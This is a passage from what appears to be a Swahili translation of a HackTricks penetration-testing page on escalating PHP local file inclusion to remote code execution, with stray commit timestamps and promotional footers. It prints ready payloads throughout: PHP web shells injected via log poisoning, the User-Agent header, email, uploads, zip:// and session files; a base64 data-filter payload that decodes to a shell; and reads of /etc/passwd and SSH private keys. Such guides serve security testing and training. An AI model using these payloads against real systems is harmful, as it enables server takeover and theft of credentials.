Kisha, ili kuvuja herufi ya kwanza, kichujio cha **`dechunk`** hutumiwa pamoja na nyingine kama **base64** au **rot13** na hatimaye vichujio **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** hutumiwa kwa **kuweka herufi nyingine mwanzoni na kuzivuja**.
2023-03-23 12:48:36 +00:00
**Kazi ambazo zinaweza kuwa hatarini**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (lengo la kusoma tu na hili)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
2023-03-23 12:54:51 +00:00
Kwa maelezo ya kiufundi angalia chapisho kilichotajwa!
2023-03-23 12:48:36 +00:00
2022-06-19 19:09:48 +00:00
## LFI2RCE
### Kuingiza Faili Kijijini
2020-12-27 12:29:29 +00:00
2024-02-11 02:13:58 +00:00
Imeelezwa hapo awali, [**fuata kiungo hiki**](./#remote-file-inclusion).
2020-12-27 12:29:29 +00:00
2024-02-11 02:13:58 +00:00
### Kupitia faili ya kumbukumbu ya Apache/Nginx
Ikiwa seva ya Apache au Nginx ni **dhaifu kwa LFI** ndani ya kazi ya kuingiza unaweza jaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, weka ndani ya **mpelelezi wa mtumiaji** au ndani ya **parameta ya GET** kabati ya php kama **`<?php system($_GET['c']); ?>`** na ingiza faili hiyo
{% hint style="warning" %}
Tambua kwamba **ikiwa utatumia alama za nukuu mbili** kwa kabati badala ya **nukuu moja**, alama za nukuu mbili zitabadilishwa kuwa mstari "_**quote;**_", **PHP itatoa kosa** hapo na **kitu kingine hakitafanyika**.
Pia, hakikisha **unandika kwa usahihi payload** au PHP itatoa kosa kila wakati inajaribu kupakia faili ya kumbukumbu na hautapata fursa ya pili.
{% endhint %}
Hii inaweza pia kufanywa kwenye kumbukumbu nyingine lakini **weka tahadhari,** nambari ndani ya kumbukumbu inaweza kuwa URL-encoded na hii inaweza kuharibu Kabati. Kichwa cha **uthibitisho "msingi"** kina "mtumiaji:nywila" katika Base64 na inadecodiwa ndani ya kumbukumbu. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
2024-02-11 02:13:58 +00:00
Njia zingine za kumbukumbu zinazowezekana:
2021-05-02 18:07:06 +00:00
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
2024-02-11 02:13:58 +00:00
### Kupitia Barua pepe
**Tuma barua** kwa akaunti ya ndani (user@localhost) ikijumuisha mzigo wako wa PHP kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kuweka kwenye barua pepe ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
2024-02-11 02:13:58 +00:00
### Kupitia /proc/\*/fd/\*
1. Pakia mabano mengi (kwa mfano: 100)
2. Jumuisha [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), na $PID = PID ya mchakato (inaweza kufanyiwa nguvu) na $FD ni maelezo ya faili (inaweza kufanyiwa nguvu pia)
2024-02-11 02:13:58 +00:00
### Kupitia /proc/self/environ
Kama faili ya kuingiza, tuma mzigo kwenye User-Agent, itaakisiwa ndani ya faili ya /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
2024-02-11 02:13:58 +00:00
### Kupitia kupakia
Ikiwa unaweza kupakia faili, ingiza mzigo wa shell ndani yake (k.m: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
2024-02-11 02:13:58 +00:00
### Kupitia kupakia faili ya Zip
Pakia faili ya ZIP inayohifadhi PHP shell iliyosongwa na ufikie:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
2024-02-11 02:13:58 +00:00
### Kupitia vikao vya PHP
Angalia kama tovuti inatumia Kikao cha PHP (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Katika PHP vikao hivi hufungwa katika faili za _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Wekeza kidakuzi kuwa `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
2024-02-11 02:13:58 +00:00
Tumia LFI kuweka faili ya kikao ya PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
2024-02-11 02:13:58 +00:00
### Kupitia ssh
Ikiwa ssh iko active, angalia ni mtumiaji yupi anatumika (/proc/self/status & /etc/passwd) na jaribu kupata upatikanaji wa **\<HOME>/.ssh/id\_rsa**
### Kupitia **vsftpd** _**logs**_
Logs za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna uwazi wa kushambuliwa kwa Kuingiza Faili za Kienyeji (LFI), na upatikanaji wa seva ya vsftpd iliyofichuliwa unawezekana, hatua zifuatazo zinaweza kuzingatiwa:
2020-12-23 09:40:41 +00:00
1. Ingiza mzigo wa PHP katika uga wa jina la mtumiaji wakati wa mchakato wa kuingia.
2. Baada ya kuingiza, tumia LFI kuchukua logs za seva kutoka _**/var/log/vsftpd.log**_.
2024-02-05 20:00:40 +00:00
### Kupitia php base64 filter (kutumia base64)
Kama ilivyoonyeshwa katika [hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, filter ya base64 ya PHP hupuuza Non-base64. Unaweza kutumia hilo kukiuka ukaguzi wa kielezo cha faili: ikiwa unatoa base64 inayoishia na ".php", itapuuza "." na kuongeza "php" kwa base64. Hapa kuna mzigo wa mfano:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
2020-12-23 09:40:41 +00:00
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Kupitia vichujio vya php (bila faili inayohitajika)
Hii [**maelezo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaeleza kwamba unaweza kutumia **vichujio vya php kuzalisha maudhui ya kupangwa** kama matokeo. Hii kimsingi inamaanisha kwamba unaweza **kuzalisha msimbo wa php wa kupangwa** kwa kuingiza **bila kuandika** kwenye faili.
2022-06-20 00:29:51 +00:00
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}
### Kupitia kosa la segmantesheni
2022-12-14 00:23:57 +00:00
**Pakia** faili itakayohifadhiwa kama **temporari** kwenye `/tmp`, kisha katika **ombi moja,** chokoza **kosa la segmantesheni**, na kisha **faili ya temporari haitafutwa** na unaweza kuitafuta.
2022-12-14 00:23:57 +00:00
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
### Kupitia uhifadhi wa faili za temp za Nginx
2022-04-20 21:55:42 +00:00
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na **Nginx** inaendeshwa mbele ya PHP unaweza kupata RCE kwa kutumia mbinu ifuatayo:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2024-02-11 02:13:58 +00:00
### Kupitia PHP\_SESSION\_UPLOAD\_PROGRESS
2022-04-20 21:55:42 +00:00
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** hata kama **huna kikao** na `session.auto_start` ni `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **POST ya multipart**, PHP ita **wezesha kikao kwako**. Unaweza kutumia hii kupata RCE:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
### Kupitia pakiaji wa faili za temp kwenye Windows
2022-04-20 21:55:42 +00:00
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na seva inaendeshwa kwenye **Windows** unaweza kupata RCE:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2024-02-11 02:13:58 +00:00
### Kupitia phpinfo() (file\_uploads = on)
2022-04-20 21:55:42 +00:00
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na faili inaonyesha **phpinfo()** na file\_uploads = on unaweza kupata RCE:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Kufichua Njia
2022-04-20 21:55:42 +00:00
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na unaweza **kufichua njia** ya faili ya temp LAKINI **seva** ina **angalia** ikiwa **faili itakayoingizwa ina alama za PHP**, unaweza kujaribu **kupita kwenye ukaguzi huo** na hii **Hali ya Mashindano**:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
{% endcontent-ref %}
### Kupitia kungojea milele + kuvunja nguvu
2022-12-18 23:15:14 +00:00
Ikiwa unaweza kutumia LFI kwa **kupakia faili za temp** na kufanya seva **kukwama** kwenye utekelezaji wa PHP, basi unaweza **kuvunja nguvu majina ya faili kwa masaa** ili kupata faili ya temporari:
2022-12-18 23:15:14 +00:00
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}
### Kwa Kosa Kubwa
2022-12-15 10:37:10 +00:00
Ikiwa unaingiza mojawapo ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kuweka ile ile mara 2 ili kutoa kosa hilo).
2022-12-15 10:37:10 +00:00
2024-02-11 02:13:58 +00:00
**Sijui jinsi hii inavyoweza kuwa na manufaa lakini inaweza kuwa.**\
_Hata kama unasababisha Kosa Kubwa la PHP, faili za temporari za PHP zilizopakiwa zitafutwa._
2022-12-15 10:37:10 +00:00
2022-12-19 16:08:19 +00:00
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
2022-12-15 10:37:10 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
2024-02-05 20:00:40 +00:00
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
2022-04-28 16:01:33 +00:00
**Machapisho ya Kudukua**\
Shiriki na yaliyomo yanayochimba kina cha kudukua na changamoto zake
2023-02-27 09:28:45 +00:00
**Habari za Kudukua za Moja kwa Moja**\
Kaa sawa na ulimwengu wa kudukua unaobadilika haraka kupitia habari za moja kwa moja na ufahamu
2023-02-27 09:28:45 +00:00
**Matangazo Mapya Zaidi**\
Baki mwelekezi na matangazo mapya ya tuzo za mdudu yanayoanzishwa na sasisho muhimu ya jukwaa
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>Jifunze kuhusu kudukua kwa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-01 17:15:10 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>